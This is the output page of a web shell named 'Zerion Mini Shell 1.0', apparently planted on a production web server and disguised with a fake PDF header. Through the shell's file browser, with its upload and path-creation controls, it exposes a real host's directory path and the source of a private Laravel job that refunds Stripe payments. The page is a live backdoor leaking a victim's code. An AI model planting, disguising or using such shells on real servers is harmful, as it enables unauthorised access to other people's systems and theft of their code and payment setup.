%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/forge/api-takeaseat.eco-n-tech.co.uk/app/Jobs/
Upload File :
Create Path :
Current File : //home/forge/api-takeaseat.eco-n-tech.co.uk/app/Jobs/RefundPayment.php

<?php

namespace App\Jobs;

use Stripe\StripeClient;
use App\Models\Payment;
use App\Helpers\MoneyHelper;
use Illuminate\Bus\Queueable;
use Illuminate\Contracts\Queue\ShouldBeUnique;
use Illuminate\Contracts\Queue\ShouldQueue;
use Illuminate\Foundation\Bus\Dispatchable;
use Illuminate\Queue\InteractsWithQueue;
use Illuminate\Queue\SerializesModels;

class RefundPayment implements ShouldQueue
{
    use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;

    /**
     * @var Payment
     */
    protected $payment;

    /**
     * Create a new job instance.
     *
     * @return void
     */
    public function __construct(Payment $payment)
    {
        $this->payment = $payment;
    }

    /**
     * Execute the job.
     *
     * @return void
     */
    public function handle()
    {
        $stripe = new StripeClient(config('services.stripe.secret'));

        if($this->payment->transfer) {
            $stripe->transfers->createReversal($this->payment->transfer->transfer_id, [
                'amount' => MoneyHelper::stripeFormat($this->payment->amount)
            ]);
        }

        if($this->payment->charges) {
            foreach($this->payment->charges as $charge) {
                $stripe->refunds->create([
                    'charge' => $charge->charge_id,
                    'amount' => MoneyHelper::stripeFormat($this->payment->amount + $this->payment->fees_collected)
                ]);
            }
        }

        $this->payment->update([
            'refunded' => true
        ]);
    }
}

Zerion Mini Shell 1.0